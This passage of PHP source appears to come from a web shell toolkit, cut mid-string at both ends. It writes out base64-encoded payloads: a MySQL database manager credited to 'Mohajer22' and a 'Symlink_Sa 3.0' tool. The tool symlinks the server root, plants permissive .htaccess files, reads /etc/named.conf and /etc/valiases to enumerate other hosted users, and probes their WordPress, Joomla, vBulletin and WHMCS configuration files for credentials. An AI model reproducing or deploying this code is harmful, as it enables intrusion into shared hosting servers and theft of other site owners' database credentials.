x6ZEVSQ2N3PT0iICkNCgkJCWxpc3REYXRhYmFzZXMoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlREIiICkNCgkJCWNyZWF0ZURhdGFiYXNlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BEQiIgKQ0KCQkJZHJvcERhdGFiYXNlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImxpc3RUYWJsZXMiICkNCgkJCWxpc3RUYWJsZXMoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFibGUiICkNCgkJCWNyZWF0ZVRhYmxlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BUYWJsZSIgKQ0KCQkJZHJvcFRhYmxlKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdTY2hlbWEiICkNCgkJCXZpZXdTY2hlbWEoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkNCgkJCXZpZXdEYXRhKCAkcXVlcnlTdHIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZF9zdWJtaXQiICkNCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApDQoJCQltYW5hZ2VGaWVsZCggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXRGaWVsZF9zdWJtaXQiICkNCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRyb3BGaWVsZCIgKQ0KCQkJZHJvcEZpZWxkKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIgKQ0KCQkJdmlld0RhdGEoICIiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkNCgkJCW1hbmFnZURhdGEoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGFfc3VibWl0IiApDQoJCQltYW5hZ2VEYXRhX3N1Ym1pdCggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkNCgkJCW1hbmFnZURhdGEoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZGVsZXRlRGF0YSIgKQ0KCQkJZGVsZXRlRGF0YSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscyIgKQ0KCQkJdXRpbHMoKTsNCg0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQoNCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+TXlTUUwgSW50ZXJmYWNlIChEZXZlbG9wZWQgQnkgTW9oYWplcjIyKTwvdGl0bGU+DQo8Ym9keSBiZ0NvbG9yPSMyMDIwNDAgPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCnAubG9jYXRpb24gew0KCWNvbG9yOiAjMTFiYjMzOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQpoMSB7DQoJY29sb3I6ICNjMDAwMDA7DQp9DQp0aCB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogIzExYmIzMzsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KdGQgew0KCWJhY2tncm91bmQtY29sb3I6ICM4MDgwODA7DQoJZm9udC1zaXplOiBzbWFsbDsNCn0NCmZvcm0gew0KCW1hcmdpbi10b3A6IDA7DQoJbWFyZ2luLWJvdHRvbTogMDsNCn0NCmEgew0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KCWNvbG9yOiAjODQ4MjAwOw0KCWZvbnQtc2l6ZTpzbWFsbDsNCn0NCkE6bGluayB7DQpDT0xPUjojRUVFRkQ1Ow0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KQ09MT1I6I2MwMDAwMDsNClRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KQ09MT1I6I2MwMDAwMDsNClRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQpjb2xvcjojYzAwMDAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDA0MDQwOw0KYm9yZGVyLXN0eWxlOiBzb2xpZDsNCmZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1zZXJpZjsNCmZvbnQtc2l6ZTpzbWFsbDsNCmNvbG9yOiAjMDAwMDAwOw0KcGFkZGluZzogMHB4Ow0KfQ0KLy8tLT4NCjwvc3R5bGU+DQo8L2hlYWQ+‘;
$file = fopen("sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($crackftp));
fclose($file);
echo "<iframe src=damane/sql.php width=100% height=100% frameborder=0></iframe> ";
}
elseif ($action == ’sym1′) {
@chdir(‚damane‘);
$symlinker = ‚PD9waHANCg0Kc2V0X3RpbWVfbGltaXQoMCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KJHBhZ2VVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlVVJMICk7DQokcGFnZVVSTCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlVVJMICk7DQoNCiRwYWdlRlRQID0gJ2Z0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJy9wdWJsaWNfaHRtbC8nLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KJHUgPSBleHBsb2RlKCIvIiwkcGFnZUZUUCApOw0KJHBhZ2VGVFAgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZUZUUCApOw0KDQo/Pg0KICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQo8aGVhZD4NCjx0aXRsZT5TeW1saW5rX1NhIDMuMDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCiAgaHRtbCxib2R5IHsNCiAgICAgbWFyZ2luOiAwOw0KICAgICBwYWRkaW5nOiAwOw0KICAgICBvdXRsaW5lOiAwOw0KfQ0KYXsNCg0KIGZvbnQtc2l6ZTogMTNweDsNCg0KfQ0KDQoNCmJvZHkgew0KICAgIGRpcmVjdGlvbjogbHRyOw0KICAgIGJhY2tncm91bmQtY29sb3I6I0Y0RjRGNDsNCgljb2xvcjogcmdiKDE1MywgMTUzLCAxNTMpOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcg0KfQ0KDQoNCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0ew0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpjb2xvcjogIzAwMDAwMDsNCn0NCg0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0OmhvdmVyew0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggI0FBQUFBQTsNCn0NCg0KDQouaGVkciB7DQogIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogIGZvbnQtc2l6ZTogMjJweDsNCg0KDQp9DQoNCi5jb250IGF7DQoNCiB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogY29sb3I6cmdiKDE1MywgMTUzLCAxNTMpOw0KIGZvbnQtZmFtaWx5OiBUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmICA7DQogZm9udC1zaXplOiAxNnB4Ow0KIHRleHQtc2hhZG93OiAwcHggMHB4IDNweCA7DQp9DQoNCi5jb250IGE6aG92ZXJ7DQoNCg0KICBjb2xvcjogI0VFRUVFRSA7DQogIHRleHQtc2hhZG93OjBweCAwcHggM3B4ICMwMDAwMDAgOw0KDQoNCn0NCg0KLnRtcCB0ciB0ZHsNCg0KYm9yZGVyOiBzb2xpZCAxcHggI0JCQkJCQjsNCg0KcGFkZGluZzogMnB4IDsNCiAgZm9udC1zaXplOiAxM3B4Ow0KfQ0KDQoudG1wIHRyIHRkIGEgew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoNCg0KDQp9DQoNCi5mb3RlcnsNCiAgZm9udC1zaXplOiA5cHQ7DQogIGNvbG9yOiAjQUFBQUFBIDsNCiAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCi50bXAgdHIgdGQ6aG92ZXJ7DQoNCmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICM4ODg4ODg7DQoNCn0NCi5mb3R7DQoNCmZvbnQtZmFtaWx5OlRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7DQoNCiAgZm9udC1zaXplOiAxMXB0Ow0KfQ0KLmZvciBhIDogaG92ZXJ7DQoNCnRleHQtc2hhZG93OiAwcHggMHB4IDFweCAjMzM2NkZGOw0KDQp9DQoNCg0KLmlyIHsNCiAgY29sb3I6ICNGRjAwMDA7DQp9DQoNCg0KDQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQoNCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSdhbGwnPg0KDQoNCjw/cGhwDQoNCkBta2Rpcignc3ltJywwNzc3KTsNCiRodGNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokZiA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCmZ3cml0ZSgkZiAsICRodGNzKTsNCg0KDQoNCkBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCg0KJHBnID0gYmFzZW5hbWUoX19GSUxFX18pOw0KDQplY2hvICc8YnIgLz48ZGl2IGNsYXNzPSJoZWRyIj4gU3ltbGluayBTYSAzLjAgPGJyIC8+PC9kaXY+JyA7DQoNCmVjaG8gJzxiciAvPjxkaXYgY2xhc3M9ImhlZHIiPi06WyBVc2VyICYgRG9tYWlucyAmIFN5bWxpbmsgXTotPGJyIC8+PGJyIC8+PC9kaXY+JyA7DQoNCmVjaG8gJzxkaXYgY2xhc3M9ImNvbnQiPg0KDQpbPGEgaHJlZj0iPyI+IEhvbWUgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9c3ltIj4gVXNlciAmIERvbWFpbnMgJiBTeW1saW5rIDwvYT5dDQoNCls8YSBocmVmPSI/c3dzPXNlYyI+IERvbWFpbnMgJiBTY3JpcHQgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPWZpbGUiPiBTeW1saW5rIEZpbGUgPC9hPl0NCg0KWzxhIGhyZWY9Ij9zd3M9cGFzc3dkIj4gU3ltbGluayBCeXBhc3MgPC9hPl0NCg0KPGJyIC8+PGJyIC8+DQoNClsgPGEgaHJlZj0iP3N3cz1yZWFkIj4gQnlwYXNzIFJlYWQgPC9hPl0NCg0KWyA8YSBocmVmPSI/c3dzPWpvb21sYSI+IE1hc3MgSm9vbWxhIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz13cCI+IE1hc3MgV29yZFByZXNzIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz12YiI+IE1hc3MgdkJ1bGxldGluIDwvYT5dDQoNClsgPGEgaHJlZj0iP3N3cz1oZWxwIj4gSGVscCA8L2E+XQ0KDQo8YnIgLz48YnIgLz48YnIgLz4NCg0KDQoNCg0KDQoNCjwvZGl2Pic7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFsnc3dzJ10pKQ0Kew0KDQpzd2l0Y2ggKCRfUkVRVUVTVFsnc3dzJ10pDQp7DQoNCi8vLyBEb21haW5zICsgU2NyaXB0cyAgLy8vDQoNCmNhc2UgJ3NlYyc6DQoNCmlmKCFAaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KfWVsc2V7DQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dzPXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IFNjcmlwdCA8L3RkPiI7DQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCkBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQpmbHVzaCgpOw0KDQppZihAc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3cGw9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KJHdwcD1AZ2V0X2hlYWRlcnMoJHdwbCk7DQokd3A9JHdwcFswXTsNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCiR3cHAyPUBnZXRfaGVhZGVycygkd3AyKTsNCiR3cDEyPSR3cHAyWzBdOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiRqbzE9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb289QGdldF9oZWFkZXJzKCRqbzEpOw0KJGpvPSRqb29bMF07DQoNCg0KJGpvMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb28yPUBnZXRfaGVhZGVycygkam8yKTsNCiRqbzEyPSRqb28yWzBdOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokdmIxPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwIjsNCiR2YmI9QGdldF9oZWFkZXJzKCR2YjEpOw0KJHZiPSR2YmJbMF07DQoNCiR2YjI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHZiYjI9QGdldF9oZWFkZXJzKCR2YjIpOw0KJHZiMTI9JHZiYjJbMF07DQoNCiR2YjM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHZiYjM9QGdldF9oZWFkZXJzKCR2YjMpOw0KJHZiMTM9JHZiYjNbMF07DQoNCi8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3aDE9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4icHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCI7DQokd2hoMj0gQGdldF9oZWFkZXJzKCR3aDEpOw0KJHdoPSR3aGgyWzBdOw0KDQokd2gyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3aGgyPSBAZ2V0X2hlYWRlcnMoJHdoMik7DQokd2gxMj0kd2hoMlswXTsNCg0KJHdoMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3aGgzPSBAZ2V0X2hlYWRlcnMoJHdoMyk7DQokd2gxMz0kd2hoM1swXTsNCg0KJHdoNT0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCI7DQokd2hoNT0gQGdldF9oZWFkZXJzKCR3aDUpOw0KJHdoMTU9JHdoaDVbMF07DQoNCiR3aDQ9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCI7DQokd2hoND0gQGdldF9oZWFkZXJzKCR3aDQpOw0KJHdoMTQ9JHdoaDRbMF07DQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQogLy8vLy8vLy8vLyBXb3JkcHJlc3MgLy8vLy8vLy8vLy8vDQoNCiRwb3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7DQokY29uZmlnPSImbmJzcDsiOw0KDQppZiAoc3RycG9zKCR3cCwgIjIwMCIpID09IHRydWUgKQ0Kew0KICRjb25maWc9IjxhIGhyZWY9JyIuJHdwbC4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9IjxhIGhyZWY9JyIuJHdwMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQp9DQoNCi8vLy8vLy8vLy8vV0hNQ1MvLy8vLy8vLw0KDQplbHNlaWYgKHN0cnBvcygkam8sICIyMDAiKSAgPT0gdHJ1ZSBhbmQgc3RycG9zKCR3aDE1LCAiMjAwIikgID09IHRydWUgKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kd2g1LiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOw0KDQp9DQplbHNlaWYgKHN0cnBvcygkd2gxMiwgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnID0iIDxhIGhyZWY9JyIuJHdoMi4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCg0KZWxzZWlmIChzdHJwb3MoJHdoMTMsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZyA9IiA8YSBocmVmPSciLiR3aDMuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7DQoNCn0NCg0KLy8vLy8vLy8vIEpvb21sYSB0byA0IC8vLy8vLy8vLy8vDQoNCmVsc2VpZiAoc3RycG9zKCRqbywgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kam8xLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCg0KZWxzZWlmIChzdHJwb3MoJGpvMTIsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJGpvMi4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7DQp9DQoNCi8vLy8vLy8vLy92QnVsbGV0aW4gdG8gNCAvLy8vLy8vLy8vLw0KDQplbHNlaWYgKHN0cnBvcygkdmIsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJHZiMS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7DQp9DQoNCmVsc2VpZiAoc3RycG9zKCR2YjEyLCAiMjAwIikgID09IHRydWUpDQp7DQogICRjb25maWc9IiA8YSBocmVmPSciLiR2YjIuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOw0KfQ0KDQplbHNlaWYgKHN0cnBvcygkdmIxMywgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kdmIzLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCg0KZWxzZQ0Kew0KIGNvbnRpbnVlOw0KfQ0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHNpdGUgPSAkdXNlclsnbmFtZSddIDsNCg0KDQoNCmZsdXNoKCk7DQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iLz4iLiRkb21zd3NbMV1bMF0uIjwvYT48L3RkPg0KPHRkPiIuJGNvbmZpZy4iPC90ZD48L3RyPiI7IGZsdXNoKCk7DQoNCn0NCn0NCn0NCn0NCg0KYnJlYWs7DQoNCg0KLy8vIHVzZXIgKyBkb21pbmUgKyBzeW1saW5rICAvLy8NCg0KY2FzZSAnc3ltJzoNCg0KaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsNCg0KJGQwMG0gPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCn1lbHNlew0KDQokZDAwbSA9IEBmaWxlKCJuYW1lZC50eHQiKTsNCg0KDQp9DQppZighJGQwMG0pDQp7DQoNCiAgICAgICAgICAgICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rIDwvdGQ+IjsNCmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7DQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCmZsdXNoKCk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpew0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCmZsdXNoKCk7DQoNCg0KDQokc2l0ZSA9ICR1c2VyWyduYW1lJ10gOw0KDQoNCkBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCg0KJHNpdGUgPSAkZG9tc3dzWzFdWzBdOw0KDQokaXIgPSAnaXInOw0KDQokaWwgPSAnaWwnOw0KDQppZiAocHJlZ19tYXRjaCgiLy5eJGlyLyIsJGRvbXN3c1sxXVswXSkgb3IgcHJlZ19tYXRjaCgiLy5eJGlsLyIsJGRvbXN3c1sxXVswXSkgKQ0Kew0KJHNpdGUgPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRkb21zd3NbMV1bMF0uIjwvZGl2PiI7DQp9DQoNCg0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxkaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIi8+Ii4kc2l0ZS4iIDwvYT4gPC9kaXY+DQo8L3RkPg0KDQoNCjx0ZD4NCiIuJHVzZXJbJ25hbWUnXS4iDQo8L3RkPg0KPHRkPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPg0KPC90ZD4NCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQp9DQp9DQp9DQp9DQoNCg0KDQoNCmJyZWFrOw0KDQoNCi8vLyBmaWxlICBzeW1saW5rIC8vLw0KDQpjYXNlICdmaWxlJzoNCg0KZWNobycNClRoZSBmaWxlIHBhdGggdG8gc3ltbGluaw0KDQo8YnIgLz48YnIgLz4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9Ii9ob21lL3VzZXIvcHVibGljX2h0bWwvZmlsZS5uYW1lIiBzaXplPSI2MCIvPjxiciAvPjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJmaWxlLm5hbWVfc3ltICggRXguIDo6IHJveWFsaXN0ZS50eHQgKSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPiA8YnIgLz48YnIgLz4NCg0KDQoNCjwvZm9ybT4NCic7DQoNCiRwZmlsZSA9ICRfUE9TVFsnZmlsZSddOw0KJHN5bWZpbGUgPSAkX1BPU1RbJ3N5bWZpbGUnXTsNCiRzeW1saW5rID0gJF9QT1NUWydzeW1saW5rJ107DQoNCmlmICgkc3ltbGluaykNCnsNCg0KDQpAbWtkaXIoJ3N5bTEnLDA3NzcpOw0KJGMgID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBcbiBEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtIFxuIEFkZFR5cGUgdHh0IC5waHAgXG4gQWRkSGFuZGxlciB0eHQgLnBocCBcbiAgQWRkVHlwZSB0eHQgLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gT3B0aW9ucyBhbGwgXG4gT3B0aW9ucyBcbiBBbGxvdyBmcm9tIGFsbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJGYgPUBmb3BlbiAoJ3N5bTEvLmh0YWNjZXNzJywndycpOw0KQGZ3cml0ZSgkZiAsICRjKTsNCg0KQHN5bWxpbmsoIiRwZmlsZSIsInN5bTEvJHN5bWZpbGUiKTsNCg0KZWNobyAnPGJyIC8+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bTEvJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPic7DQoNCn0NCmJyZWFrOw0KDQovLy8gYnlwYXNzIHJlYWQNCg0KY2FzZSAncmVhZCc6DQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/c3dzPXJlYWQmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCmZsdXNoKCk7D